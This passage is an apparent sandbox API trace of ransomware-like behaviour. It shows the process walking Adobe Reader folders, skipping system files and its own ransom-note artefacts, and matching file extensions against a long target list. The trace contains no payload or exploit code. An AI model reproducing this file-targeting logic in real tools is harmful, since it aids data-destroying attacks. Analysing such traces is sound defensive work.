lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0273.325] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0273.325] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js") returned 133 [0273.325] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.325] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0273.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.325] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0273.325] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl") returned 119 [0273.325] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl") returned 1 [0273.325] lstrlenW (lpString="pl-pl") returned 5 [0273.326] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="pl-pl") returned -1 [0273.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.326] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl") returned 119 [0273.326] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0273.326] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.326] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.326] lstrlenW (lpString="ui-strings.js") returned 13 [0273.326] lstrlenW (lpString=".1cd") returned 4 [0273.326] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.326] lstrlenW (lpString=".3ds") returned 4 [0273.326] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.326] lstrlenW (lpString=".3fr") returned 4 [0273.326] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.326] lstrlenW (lpString=".3g2") returned 4 [0273.326] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.326] lstrlenW (lpString=".3gp") returned 4 [0273.326] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.326] lstrlenW (lpString=".7z") returned 3 [0273.327] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.327] lstrlenW (lpString=".accda") returned 6 [0273.327] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.327] lstrlenW (lpString=".accdb") returned 6 [0273.327] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.327] lstrlenW (lpString=".accdc") returned 6 [0273.327] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.327] lstrlenW (lpString=".accde") returned 6 [0273.327] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.327] lstrlenW (lpString=".accdt") returned 6 [0273.327] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.327] lstrlenW (lpString=".accdw") returned 6 [0273.327] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.327] lstrlenW (lpString=".adb") returned 4 [0273.327] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".adp") returned 4 [0273.327] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".ai") returned 3 [0273.327] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.327] lstrlenW (lpString=".ai3") returned 4 [0273.327] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".ai4") returned 4 [0273.327] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".ai5") returned 4 [0273.327] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".ai6") returned 4 [0273.327] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".ai7") returned 4 [0273.327] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.327] lstrlenW (lpString=".ai8") returned 4 [0273.328] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".anim") returned 5 [0273.328] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.328] lstrlenW (lpString=".arw") returned 4 [0273.328] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".as") returned 3 [0273.328] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.328] lstrlenW (lpString=".asa") returned 4 [0273.328] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".asc") returned 4 [0273.328] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".ascx") returned 5 [0273.328] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.328] lstrlenW (lpString=".asm") returned 4 [0273.328] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".asmx") returned 5 [0273.328] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.328] lstrlenW (lpString=".asp") returned 4 [0273.328] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".aspx") returned 5 [0273.328] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.328] lstrlenW (lpString=".asr") returned 4 [0273.328] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".asx") returned 4 [0273.328] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".avi") returned 4 [0273.328] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".avs") returned 4 [0273.328] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.328] lstrlenW (lpString=".backup") returned 7 [0273.328] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.329] lstrlenW (lpString=".bak") returned 4 [0273.329] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".bay") returned 4 [0273.329] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".bd") returned 3 [0273.329] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.329] lstrlenW (lpString=".bin") returned 4 [0273.329] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".bmp") returned 4 [0273.329] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".bz2") returned 4 [0273.329] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".c") returned 2 [0273.329] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.329] lstrlenW (lpString=".cdr") returned 4 [0273.329] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".cer") returned 4 [0273.329] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".cf") returned 3 [0273.329] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.329] lstrlenW (lpString=".cfc") returned 4 [0273.329] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".cfm") returned 4 [0273.329] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".cfml") returned 5 [0273.329] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.329] lstrlenW (lpString=".cfu") returned 4 [0273.329] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".chm") returned 4 [0273.329] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.329] lstrlenW (lpString=".cin") returned 4 [0273.329] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".class") returned 6 [0273.330] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.330] lstrlenW (lpString=".clx") returned 4 [0273.330] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".config") returned 7 [0273.330] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.330] lstrlenW (lpString=".cpp") returned 4 [0273.330] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".cr2") returned 4 [0273.330] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".crt") returned 4 [0273.330] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".crw") returned 4 [0273.330] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".cs") returned 3 [0273.330] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.330] lstrlenW (lpString=".css") returned 4 [0273.330] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".csv") returned 4 [0273.330] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".cub") returned 4 [0273.330] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".dae") returned 4 [0273.330] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".dat") returned 4 [0273.330] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.330] lstrlenW (lpString=".db") returned 3 [0273.330] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.330] lstrlenW (lpString=".dbf") returned 4 [0273.330] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dbx") returned 4 [0273.331] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dc3") returned 4 [0273.331] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dcm") returned 4 [0273.331] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dcr") returned 4 [0273.331] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".der") returned 4 [0273.331] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dib") returned 4 [0273.331] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dic") returned 4 [0273.331] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dif") returned 4 [0273.331] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".divx") returned 5 [0273.331] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.331] lstrlenW (lpString=".djvu") returned 5 [0273.331] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.331] lstrlenW (lpString=".dng") returned 4 [0273.331] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".doc") returned 4 [0273.331] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".docm") returned 5 [0273.331] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.331] lstrlenW (lpString=".docx") returned 5 [0273.331] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.331] lstrlenW (lpString=".dot") returned 4 [0273.331] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.331] lstrlenW (lpString=".dotm") returned 5 [0273.332] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.332] lstrlenW (lpString=".dotx") returned 5 [0273.332] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.332] lstrlenW (lpString=".dpx") returned 4 [0273.332] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".dqy") returned 4 [0273.332] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".dsn") returned 4 [0273.332] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".dt") returned 3 [0273.332] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.332] lstrlenW (lpString=".dtd") returned 4 [0273.332] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".dwg") returned 4 [0273.332] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".dwt") returned 4 [0273.332] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".dx") returned 3 [0273.332] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.332] lstrlenW (lpString=".dxf") returned 4 [0273.332] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".edml") returned 5 [0273.332] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.332] lstrlenW (lpString=".efd") returned 4 [0273.332] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".elf") returned 4 [0273.332] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".emf") returned 4 [0273.332] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.332] lstrlenW (lpString=".emz") returned 4 [0273.333] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.333] lstrlenW (lpString=".epf") returned 4 [0273.333] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.333] lstrlenW (lpString=".eps") returned 4 [0273.333] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.333] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.333] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0273.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.333] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0273.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.333] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br") returned 119 [0273.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0273.333] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.334] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.334] lstrlenW (lpString="ui-strings.js") returned 13 [0273.334] lstrlenW (lpString=".1cd") returned 4 [0273.334] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.334] lstrlenW (lpString=".3ds") returned 4 [0273.334] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.334] lstrlenW (lpString=".3fr") returned 4 [0273.334] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.334] lstrlenW (lpString=".3g2") returned 4 [0273.334] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.334] lstrlenW (lpString=".3gp") returned 4 [0273.334] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.334] lstrlenW (lpString=".7z") returned 3 [0273.334] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.334] lstrlenW (lpString=".accda") returned 6 [0273.334] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.334] lstrlenW (lpString=".accdb") returned 6 [0273.334] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.334] lstrlenW (lpString=".accdc") returned 6 [0273.334] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.334] lstrlenW (lpString=".accde") returned 6 [0273.334] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.334] lstrlenW (lpString=".accdt") returned 6 [0273.334] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.334] lstrlenW (lpString=".accdw") returned 6 [0273.334] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.334] lstrlenW (lpString=".adb") returned 4 [0273.334] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".adp") returned 4 [0273.335] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ai") returned 3 [0273.335] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.335] lstrlenW (lpString=".ai3") returned 4 [0273.335] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ai4") returned 4 [0273.335] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ai5") returned 4 [0273.335] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ai6") returned 4 [0273.335] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ai7") returned 4 [0273.335] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ai8") returned 4 [0273.335] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".anim") returned 5 [0273.335] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.335] lstrlenW (lpString=".arw") returned 4 [0273.335] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".as") returned 3 [0273.335] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.335] lstrlenW (lpString=".asa") returned 4 [0273.335] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".asc") returned 4 [0273.335] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.335] lstrlenW (lpString=".ascx") returned 5 [0273.335] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.335] lstrlenW (lpString=".asm") returned 4 [0273.335] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".asmx") returned 5 [0273.336] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.336] lstrlenW (lpString=".asp") returned 4 [0273.336] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".aspx") returned 5 [0273.336] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.336] lstrlenW (lpString=".asr") returned 4 [0273.336] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".asx") returned 4 [0273.336] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".avi") returned 4 [0273.336] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".avs") returned 4 [0273.336] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".backup") returned 7 [0273.336] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.336] lstrlenW (lpString=".bak") returned 4 [0273.336] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".bay") returned 4 [0273.336] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".bd") returned 3 [0273.336] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.336] lstrlenW (lpString=".bin") returned 4 [0273.336] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".bmp") returned 4 [0273.336] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".bz2") returned 4 [0273.336] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.336] lstrlenW (lpString=".c") returned 2 [0273.336] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.336] lstrlenW (lpString=".cdr") returned 4 [0273.337] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cer") returned 4 [0273.337] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cf") returned 3 [0273.337] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.337] lstrlenW (lpString=".cfc") returned 4 [0273.337] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cfm") returned 4 [0273.337] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cfml") returned 5 [0273.337] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.337] lstrlenW (lpString=".cfu") returned 4 [0273.337] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".chm") returned 4 [0273.337] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cin") returned 4 [0273.337] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".class") returned 6 [0273.337] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.337] lstrlenW (lpString=".clx") returned 4 [0273.337] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".config") returned 7 [0273.337] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.337] lstrlenW (lpString=".cpp") returned 4 [0273.337] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cr2") returned 4 [0273.337] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".crt") returned 4 [0273.337] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".crw") returned 4 [0273.337] lstrcmpiW 